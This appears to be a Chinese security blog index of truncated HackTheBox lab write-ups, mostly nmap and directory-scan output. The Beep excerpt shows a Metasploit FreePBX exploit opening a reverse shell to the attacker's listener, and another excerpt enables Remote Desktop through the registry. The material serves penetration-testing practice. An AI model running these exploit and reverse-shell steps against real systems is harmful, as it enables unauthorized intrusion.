安全研究与工程实践

从语雀迁移的技术文章。

HackTheBox笔记：Shocker

Entry point nmap $ nmap -p- -sC -sV -Pn 10.10.10.56 -oA allport Nmap scan report for 10.10.10.56 Host is up (0.0037s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel hydra to brute SSH using fastrack.txt, nothing to gain. /cgi-bin/ using binwalk and file, got nothing special dir searching python3 dirsearch.py -u http://10.10.10.56/ -e * _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6564 | Request count: 6564 Error Log: /opt/dirsearch/logs/errors-20-07-07_23-26-11.log Target: http://10.10.10.56/ Output File: /opt/dirsearch/reports/10.10.10.56/20-07-07_23-26-16 [23:26:16] Starting: [23:28:27] 403 - 299B - /.htaccess-dev [23:28:27] 403 - 301B - /.htaccess-local [23:28:27] 403 - 301B - /.htaccess-marco [23:28:28] 403 - 298B - /.htaccessBAK [23:28:28] 403 - 299B - /.htaccess.txt [23:28:28] 403 - 302B - /.htaccess.sample [23:28:28] 403 - 299B - /.htaccess.old [23:28:28] 403 - 300B - /.htaccess.orig [23:28:28] 403 - 300B - /.htaccess.save [23:28:28] 403 - 300B - /.htaccess.bak1 [23:28:28] 403 - 298B - /.htaccessOLD [23:28:28] 403 - 299B - /.htaccessOLD2 [23:28:28] 403 - 299B - /.htpasswd-old [23:28:28] 403 - 297B - /.httr-oauth [23:34:58] 403 - 294B - /cgi-bin/ after obtaining these, no progress. ...

HackTheBox：Active笔记

10.10.10.100 Nmap # nmap -p- -sC -sV -oA allport.nmap 10.10.10.100 Nmap scan report for 10.10.10.100 Host is up (0.0036s latency). Not shown: 65512 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-27 14:12:30Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open tcpwrapped 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5722/tcp open msrpc Microsoft Windows RPC 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC 49169/tcp open msrpc Microsoft Windows RPC 49171/tcp open msrpc Microsoft Windows RPC 49180/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: |_clock-skew: 2m57s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-06-27T14:13:29 |_ start_date: 2020-06-27T12:57:05 用enum4linux工具扫描，发现smb服务是开着的，且有开放的共享目录 ...

HackTheBox：DevOops笔记

Nmap # nmap -p- -sV -sC 10.10.10.91 -oA scans/nmap Nmap scan report for 10.10.10.91 Host is up (0.90s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA) | 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA) |_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519) 5000/tcp open http Gunicorn 19.7.1 |_http-server-header: gunicorn/19.7.1 |_http-title: Site doesn't have a title (text/html; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel hydra试着用kali自带的fasttrack字典爆破ssh，无果 ...

HackTheBox：Sense笔记

弄明白你打的网站，是什么cms，跑的什么中间件，靶机风评如何，很有必要！ 10.10.10.60 Nmap # nmap -p- -sC -sV 10.10.10.60 nmap scan report for 10.10.10.60 Host is up (0.0058s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 80/tcp open http lighttpd 1.4.35 |_http-server-header: lighttpd/1.4.35 |_http-title: Did not follow redirect to https://10.10.10.60/ |_https-redirect: ERROR: Script execution failed (use -d to debug) 443/tcp open ssl/https? |_ssl-date: TLS randomness does not represent time lighttpd 1.4.35 80端口会跳转到443，443端口是这个web ...

HackTheBox：Beep笔记

elastix msf5 exploit(unix/http/freepbx_callmenum) > show options Module options (exploit/unix/http/freepbx_callmenum): Name Current Setting Required Description ---- --------------- -------- ----------- EXTENSION 230-240 yes A range of Local extension numbers Proxies http:127.0.0.1:8080 no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.7 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 443 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.16.122 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target msf5 exploit(unix/http/freepbx_callmenum) > run [*] Started reverse TCP double handler on 10.10.16.122:4444 [*] 10.10.10.7:443 - Sending evil request with range 230 [*] 10.10.10.7:443 - Sending evil request with range 231 [*] 10.10.10.7:443 - Sending evil request with range 232 [*] 10.10.10.7:443 - Sending evil request with range 233 [*] 10.10.10.7:443 - Sending evil request with range 234 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo qaF1oILSz5kNCclV; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "qaF1oILSz5kNCclV\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (10.10.16.122:4444 -> 10.10.10.7:39534) at 2020-05-25 01:37:26 +0800 issue to fix set ssl true ...

HackTheBox：Legacy笔记

信息收集 Nmap Nmap scan report for 10.10.10.4 Host is up (0.0050s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds 3389/tcp closed ms-wbt-server Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp Host script results: |_clock-skew: mean: 5d00h30m01s, deviation: 2h07m16s, median: 4d23h00m01s |_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:b1:37 (VMware) | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | OS CPE: cpe:/o:microsoft:windows_xp::- | Computer name: legacy | NetBIOS computer name: LEGACY\x00 | Workgroup: HTB\x00 |_ System time: 2020-05-23T20:26:09+03:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f ...

HackTheBox：Solidstate笔记

10.10.10.51 信息收集 Nmap 粗略扫描下，发现好几个端口, # nmap 10.10.10.51 Nmap scan report for 10.10.10.51 Host is up (1.0s latency). Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 119/tcp open nntp # 扫描全端口 ## Nmap scan report for 10.10.10.51 Host is up (4.8s latency). Not shown: 64192 closed ports, 1337 filtered ports PORT STATE SERVICE VERSION 22/tcp open tcpwrapped | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 25/tcp open tcpwrapped |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.122 [10.10.16.122]), 80/tcp open tcpwrapped |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Home - Solid State Security 110/tcp open tcpwrapped 119/tcp open tcpwrapped 4555/tcp open tcpwrapped Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1134.71 seconds 首页发现一邮箱，试试爆破 ...

HackTheBox：Postman笔记

10.10.10.160 信息收集 Nmap # nmap 10.10.10.160 -p22,80,6379,10000 -sV -sC -oA scans/allport.nmap --min-rate 1000 Nmap scan report for postman (10.10.10.160) Host is up (0.72s latency). rDNS record for 10.10.10.160: Postman PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-server-header: MiniServ/1.910 |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 亚洲这边到HTB欧洲服务器的延时真的高，不指定--min-rate扫全端口要半个多小时，指定了又要丢包，老是扫不到全端口，服气哦 ...

HackTheBox：October笔记(PWN)

信息收集 Nmap root@localhost:~/HTB/october# nmap -p22,80 -sV -sC 10.10.10.16 --min-rate 1000 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 14:48 UTC Nmap scan report for 10.10.10.16 Host is up (0.54s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA) | 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA) | 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA) |_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Potentially risky methods: PUT PATCH DELETE |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: October CMS - Vanilla Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + Server: Apache/2.4.7 (Ubuntu) + Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21 80端口：弱密码一款叫october的cms，用searchsploit搜索，有一些漏洞，但有效利用还需要确定版本号，去github上看源代码中版本号的位置，存在网页根目录下的composer.json文件中，测试外部无法直接访问，changelog和readme里也无版本信息，作罢。后来拿下了www-data权限后，看到是版本1.0.412 ...

HackTheBox：Grandpa笔记

信息收集 Nmap root@localhost:~/HTB/grandpa# nmap -p- -sV -sC 10.10.10.14 -oA scans/allport.tcp PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH |_http-server-header: Microsoft-IIS/6.0 |_http-title: Error | http-webdav-scan: | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH | WebDAV type: Unknown | Server Type: Microsoft-IIS/6.0 | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK |_ Server Date: Thu, 23 Apr 2020 13:11:29 GMT Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows 目录扫描 root@localhost:~/HTB/grandpa# dirb http://10.10.10.14 -o scans/dirb.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.14/ ---- ==> DIRECTORY: http://10.10.10.14/_vti_bin/ + http://10.10.10.14/_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:195) + http://10.10.10.14/_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:195) + http://10.10.10.14/_vti_bin/shtml.dll (CODE:200|SIZE:96) ==> DIRECTORY: http://10.10.10.14/_vti_bin/_vti_aut ...